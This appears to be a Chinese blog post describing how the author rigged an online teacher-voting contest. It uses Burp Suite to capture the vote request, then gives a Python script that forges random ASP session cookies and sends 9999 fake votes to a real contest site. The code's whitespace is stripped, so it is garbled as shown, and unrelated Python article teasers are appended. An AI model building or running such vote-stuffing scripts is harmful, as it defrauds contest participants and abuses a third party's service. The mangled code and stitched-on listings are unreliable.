python 刷票_Python刷票器的简单实现
LOL,既然要写文章..而且我好久不用python了, 那就不说了
今天上课,老师要求我们给一个老师刷票,人家去参加一个比赛..需要学生投票,所以无聊了,就写了个投票程序.
OK,来看看投票的页面..
看起来好丑是不… 既然不是自己做的.. 还是不要吐槽了
对于刷票嘛,大家都知道.需要有一个抓包的过程
那么我们就祭出神器burpsuite,改端口这些神马的就不说了啊、
So easy,妈妈再也不用担心我们抓不到包了!
看了一看,感觉这种简单的界面..编程的程序员也好不到哪去了吧..
于是乎… send to the repeater, 改下aspsessionidaddsrqia玩玩试试
卧槽..
这程序员真给力…IP都不判断了….直接投票成功….
话不多说。。开始构建代码
首先,我们需要一个生成随机字母的东西,来代替aspsessionXXXXX
之后,我们还需要urllib urllib2来帮我们发送请求,那么就直接上代码了!
这个东西..怎么说呢…好简单… 就不加神马的奇葩注释了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53[cce_Python]
#-*-coding:utf-8*-
importurllib2
url="http://dsfasdfasdfasdf9415689711"
urll="http://asdfasdfasdfasdf799238669190801"
#### Generate random ASPSESSIONIDAADSRTQA
importrandom
codeSeedA="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
defdigit(raw):
l=len(raw)
returnraw[random.randrange(l)]
defcodeGen():
codes_pool=[]
code=""
foriinrange(24):
code+=digit(codeSeedA)
codes_pool.append(code)
returncodes_pool
#### 22 letters
#### start http request
i=0
whilei<9999:
send_headers={"Accept":"*/*",
"Referer":"http://weike.cflo.com.cn/play.asp?vodid=169877&e=1",
"Accept-Language":"zh-cn",
"Accept-Encoding":"gzip, deflate",
"User-Agent":"Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko",
"Host":"weike.cflo.com.cn",
"DNT":"1",
}
cookies="Weike_Userhits_169877=1; ASPSESSIONIDAADSRTQA=%s; pgv_pvi=3426558976; pgv_si=s6550984704"%codeGen().pop()
send_headers['Cookie']=cookies
req=urllib2.Request(urll,headers=send_headers)
r=urllib2.urlopen(req)
html=r.read()
html=html.decode('utf-8','replace')
i=i+1
printi
###loop end
[/cce_Python]
Ok,bye!文章主刷票,练py去了…
python 刷票_Python刷票器的简单实现相关推荐
- python简单装饰器_python装饰器的简单示例
这篇文章主要为大家详细介绍了python装饰器的简单示例,具有一定的参考价值,可以用来参考一下. 对python这个高级语言感兴趣的小伙伴,下面一起跟随512笔记的小编两巴掌来看看吧! 装饰器的语法以 ...
- python装饰器简单理解_python装饰器的简单理解
如果你接触 Python 有一段时间了的话,想必你对 @ 符号一定不陌生了,没错 @ 符号就是装饰器的语法糖. 装饰器的使用方法很固定: 先定义一个装饰函数(帽子)(也可以用类.偏函数实现) 再定义你 ...
- Python中的装饰器的简单介绍02
这篇博文转载自伯乐在线的12步轻松搞定python装饰器,重构成python3. 1. 函数 在python中,函数通过def关键字.函数名和可选的参数列表定义.通过return关键字返回值.我们举例 ...
- 二维正态分布图python代码_Python数据可视化正态分布简单分析及实现代码
Python说来简单也简单,但是也不简单,尤其是再跟高数结合起来的时候... 正态分布(Normaldistribution),也称"常态分布",又名高斯分布(Gaussiandi ...
- python人像_python 使用OpenCV进行简单的人像分割与合成
实现思路 通过背景建模的方法,对源图像中的动态人物前景进行分割,再将目标图像作为背景,进行合成操作,获得一个可用的合成影像. 实现步骤如下. 使用BackgroundSubtractorMOG2进行背 ...
- kd树 python实现_Python KD树实现+简单的KNN实现
写KD树的时候没把类别考虑进去...所以先用KD算出最近的k个点,然后找到对应分类最后输出占比最大的 KD树是一种二叉树,用来分割空间上得点 一个树节点的结构如下: class TreeNode: i ...
- python手势识别_Python|使用opencv进行简单的手势检测
简单的手势识别,基本思路是基于皮肤检测,皮肤的颜色在HSV颜色空间下与周围环境的区分度更高,从RGB转换到HSV颜色空间下针对皮肤颜色进行二值化,得到mask: defHSVBin(img): hsv ...
- python中装饰器的作用_Python装饰器详解,详细介绍它的应用场景
装饰器的应用场景附加功能 数据的清理或添加:函数参数类型验证 @require_ints 类似请求前拦截数据格式转换 将函数返回字典改为 JSON/YAML 类似响应后篡改为函数提供额外的数据 moc ...
- python 装饰器实现事件绑定_Python装饰器是怎么实现的?
Python中的装饰器是通过利用了函数特性的闭包实现的,所以在讲装饰器之前,我们需要先了解函数特性,以及闭包是怎么利用了函数特性的 ① 函数特性 python中的函数特性总的来说有以下四点: 1. 函 ...
- python生成器和装饰器_python之yield与装饰器
防伪码:忘情公子著 python中的yield: 在之前发布的<python之列表解析与生成器>中我们有提到过,生成器所实现的是跟列表解析近似的效果,但是我们不能对生成器做一些属于列表解析 ...
最新文章
- python pytest_Python项目的pytest初始化
- 使用 json_serializable (flutter packages pub run build_runner build) 问题
- GitHub + jsDelivr + PicGo 搭建个人图床
- io操作是指什么_各种IO模型,一篇打尽
- MySQLWorkbench链接MySQL数据库
- C++强制类型转换操作符 dynamic_cast
- Asp.Net文件和文件夹操作大全
- 服务器间传文件$d,基于OpenSSH+WinSCP完成Windows服务器之间的文件传输
- arm中clz指令_JavaScript中带有示例的Math.clz32()方法
- python装饰器使用多吗_如何理解Python装饰器?
- python读写ini文件的库支持unicode_Python读写unicode文件的方法
- centos redis make 报错_ubuntu 18.04 搭建 redis 实验环境
- 装双系统?不需要 教你在iMac上流畅使用Windows
- pythonwin下载中文版_Python官方下载 v3.9.0中文版_Win10镜像官网
- 第09课 OpenGL 移动图像
- 常见的html字体,网页设计中最常用的字体有哪些
- VS语音信号处理(5) C语言PCM格式语音存为WAV格式语音工程实例
- React行内样式写法
- sai笔记3-钢笔图层
- html学习——介绍
热门文章
- 上位机与西门子PLC通信协议
- 微信小程序图片自适应大小(炒鸡详细)
- day4:非参数统计及其检验方法(无sas代码)
- leetcode:骑士在棋盘上的概率
- lamp兄弟连java_LAMP兄弟连李明老师讲Linux视频教程下载
- python利用经纬度画地图_使用Python实现画一个中国地图
- zen brush 2 android,zen brush2
- 我的世界服务器哪个有自动铺路,超简单命令方块铺路机 我的世界自动铺路机制作教程(附存档)...
- opera官方教程 预订二
- Opera中的opera密码修改,半残了